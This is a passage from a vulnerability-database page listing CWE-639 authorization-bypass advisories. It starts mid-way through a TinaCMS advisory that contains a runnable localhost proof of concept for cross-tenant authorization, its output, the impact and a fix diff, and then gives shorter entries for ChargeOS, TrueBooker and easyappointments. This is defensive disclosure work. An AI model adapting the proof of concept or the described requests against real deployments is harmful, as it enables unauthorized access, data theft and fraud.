\u0027valid-token-for-attacker-app\u0027,\n};\nconst USER_FOR = {\n  \u0027victim-app\u0027: { id: \u0027u-victim\u0027, email: \u0027owner@victim.example\u0027, verified: true, role: \u0027admin\u0027 },\n  \u0027attacker-app\u0027: { id: \u0027u-attacker\u0027, email: \u0027attacker@evil.example\u0027, verified: true, role: \u0027admin\u0027 },\n};\nconst identity = http.createServer((req, res) =\u003e {\n  const m = req.url.match(/^\\/v2\\/apps\\/([^/]+)\\/currentUser$/);\n  if (!m) { res.writeHead(404); return res.end(\u0027nf\u0027); }\n  const app = decodeURIComponent(m[1]);\n  if (TOKEN_FOR[app] \u0026\u0026 req.headers[\u0027authorization\u0027] === TOKEN_FOR[app]) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify(USER_FOR[app]));\n  }\n  res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  return res.end(JSON.stringify({ message: \u0027unauthorized for this app\u0027 }));\n});\n \n/* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */\n \nconst authorized = async (req) =\u003e {\n  const user = await isAuthorized(req);\n  return user \u0026\u0026 user.verified;             // never checks req.query.clientID === victim-app\n};\nconst victim = http.createServer(async (req, res) =\u003e {\n  const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`);\n  req.query = Object.fromEntries(u.searchParams.entries());\n  if (!u.pathname.startsWith(\u0027/api/cloudinary/media\u0027)) { res.writeHead(404); return res.end(\u0027nf\u0027); }\n  if (!(await authorized(req))) {\n    res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify({ message: \u0027sorry this user is unauthorized\u0027 }));\n  }\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  return res.end(JSON.stringify({ authorized: true, site: \u0027victim-app\u0027,\n    media: [\u0027victim/private/contract.pdf\u0027, \u0027victim/private/customers.csv\u0027] }));\n});\n \n/* ===== driver ===== */\n \nfunction call(clientID, token) {\n  return new Promise((resolve) =\u003e {\n    const r = http.request({ host: \u0027127.0.0.1\u0027, port: VICTIM_PORT,\n      path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`,\n      method: \u0027GET\u0027, headers: { authorization: token } }, (res) =\u003e {\n      let b = \u0027\u0027; res.on(\u0027data\u0027, (c) =\u003e (b += c));\n      res.on(\u0027end\u0027, () =\u003e resolve({ status: res.statusCode, body: b }));\n    });\n    r.on(\u0027error\u0027, (e) =\u003e resolve({ status: 0, body: String(e) })); r.end();\n  });\n}\n \n(async () =\u003e {\n  await new Promise((r) =\u003e identity.listen(IDENTITY_PORT, \u0027127.0.0.1\u0027, r));\n  await new Promise((r) =\u003e victim.listen(VICTIM_PORT, \u0027127.0.0.1\u0027, r));\n \n  const c1 = await call(\u0027victim-app\u0027, \u0027valid-token-for-victim-app\u0027);\n  console.log(\u0027[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -\u003e\u0027, c1.status, c1.body);\n \n  const c2 = await call(\u0027victim-app\u0027, \u0027valid-token-for-attacker-app\u0027);\n  console.log(\u0027[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -\u003e\u0027, c2.status, c2.body);\n \n  const atk = await call(\u0027attacker-app\u0027, \u0027valid-token-for-attacker-app\u0027);\n  console.log(\u0027[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -\u003e\u0027, atk.status, atk.body);\n \n  const bug = c1.status === 200 \u0026\u0026 c2.status === 401 \u0026\u0026 atk.status === 200;\n  console.log(\u0027\\nVERDICT:\u0027, bug\n    ? \u0027VULNERABLE \u2014 attacker authorized on victim site with credentials only for their own app.\u0027\n    : \u0027NOT REPRODUCED\u0027);\n  identity.close(); victim.close();\n  process.exit(bug ? 0 : 1);\n})();\n```\n \nOutput:\n \n```\n[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -\u003e 200 {\"authorized\":true,\"site\":\"victim-app\",\"media\":[...]}\n[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -\u003e 401 {\"message\":\"sorry this user is unauthorized\"}\n[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -\u003e 200 {\"authorized\":true,\"site\":\"victim-app\",\"media\":[...]}\n \nVERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app.\n```\n \nCONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim\u0027s app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim\u0027s gate and returns the victim\u0027s private media.\n \nI verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production `identity.tinajs.io` with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that `GET /v2/apps/\u003cattacker-app\u003e/currentUser` with the attacker\u0027s own token returns `200` + `verified:true`, is the normal behavior of an app owner\u0027s own session.\n\n## Impact\n \nAn attacker with a free TinaCloud account reaches editor-level control of unrelated tenants:\n \n- **Media handlers:** list and read media, upload arbitrary objects (`next-tinacms-dos` writes `ACL: public-read`, usable to host malware or phishing under the victim\u0027s CDN), and delete media by key.\n- **`TinaCloudBackendAuthProvider` backend:** arbitrary GraphQL. Read every document, `createDocument` / `updateDocument` to deface or inject content that deploys to production, and `deleteDocument` to destroy content.\nThe attacker scripts requests with their own token and `clientID=\u003cown app\u003e` against known TinaCMS self-hosted endpoints, so it scales across deployments.\n \n## Fix\n \nBind the decision to the site\u0027s own configured app id instead of the request value.\n \n```diff\n- export const isAuthorized = async (req: NextApiRequest) =\u003e {\n-   const clientID = req.query.clientID;\n-   const token = req.headers.authorization;\n+ export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) =\u003e {\n+   const requestClientID = req.query.clientID;\n+   const token = req.headers.authorization;\n+   const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID;\n+   if (expectedClientID \u0026\u0026 requestClientID \u0026\u0026 requestClientID !== expectedClientID) {\n+     return undefined; // refuse a cross-tenant clientID\n+   }\n    if (typeof clientID === \u0027string\u0027 \u0026\u0026 typeof token === \u0027string\u0027) {\n      return await isUserAuthorized({ clientID, token });\n    }\n    return undefined;\n  };\n```\n \nThread the site\u0027s configured `clientID` into `TinaCloudBackendAuthProvider()` and the media handler config, require `isUserAuthorized` to use it rather than `req.query.clientID`, apply the same change to `next-tinacms-azure/src/auth.ts`, and update the media-store READMEs so integrators stop reintroducing the request-driven `clientID`.",
  "id": "GHSA-g74q-6g2f-874x",
  "modified": "2026-09-17T14:59:00Z",
  "published": "2026-09-17T14:59:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63506"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/0a927a4f8d228dd05ee7ca4be32899bc190e73af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/auth@1.1.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/next-tinacms-azure@15.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site"
}

GHSA-G757-7GQJ-36W5

Vulnerability from github – Published: 2026-10-16 18:34 – Updated: 2026-10-16 18:34
VLAI
Details

HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member's wallet balance without payment. Attackers can send requests with arbitrary amount and userId parameters to credit or reduce balances and consume charging services for free.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-111698"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-16T18:17:53Z",
    "severity": "HIGH"
  },
  "details": "HUIZHI ChargeOS cloud through 3.0.9 contains a missing authorization vulnerability in the hcp-mp PayController.xcxRecharge endpoint that allows attackers to modify any member\u0027s wallet balance without payment. Attackers can send requests with arbitrary amount and userId parameters to credit or reduce balances and consume charging services for free.",
  "id": "GHSA-g757-7gqj-36w5",
  "modified": "2026-10-16T18:34:53Z",
  "published": "2026-10-16T18:34:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111698"
    },
    {
      "type": "WEB",
      "url": "https://github.com/roinli/HUIZHI-ChargeOS-cloud/blob/1a2cbab79bb7abe7df3b4f9977f5d0e18e65bd4a/hcp-modules/hcp-mp/src/main/java/com/hcp/mp/controller/PayController.java#L18-L28"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@hieuPenguinnn/huizhi-chargeos-mp-member-api-userid-idor"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/huizhi-chargeos-cloud-through-3.0.9-unpaid-wallet-credit-via-pay-xcxrecharge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G786-X9WH-WCXQ

Vulnerability from github – Published: 2026-10-19 09:32 – Updated: 2026-10-19 09:32
VLAI
Details

The TrueBooker WordPress plugin before 1.3.0 does not verify that the requester owns a booking before rendering its confirmation summary, allowing unauthenticated attackers to enumerate booking identifiers and retrieve the personal information of customers who booked an appointment, as well as invalidate the customer's own confirmation link.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-94229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-19T07:16:32Z",
    "severity": "MODERATE"
  },
  "details": "The TrueBooker WordPress plugin before 1.3.0 does not verify that the requester owns a booking before rendering its confirmation summary, allowing unauthenticated attackers to enumerate booking identifiers and retrieve the personal information of customers who booked an appointment, as well as invalidate the customer\u0027s own confirmation link.",
  "id": "GHSA-g786-x9wh-wcxq",
  "modified": "2026-10-19T09:32:30Z",
  "published": "2026-10-19T09:32:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94229"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/6041298d-1e66-4fba-9cc1-7b55e591ffaf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G7C3-8M39-444Q

Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30
VLAI
Details

A BOLA vulnerability in POST /secretaries allows a low privileged user to create a low privileged user (secretary) in the system. This results in unauthorized data manipulation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3286"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T11:15:12Z",
    "severity": "HIGH"
  },
  "details": "A BOLA vulnerability in POST /secretaries allows a low privileged user to create a low privileged user (secretary) in the system. This results in unauthorized data manipulation.",
  "id": "GHSA-g7c3-8m39-444q",
  "modified": "2024-07-09T12:30:56Z",
  "published": "2024-07-09T12:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3286"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.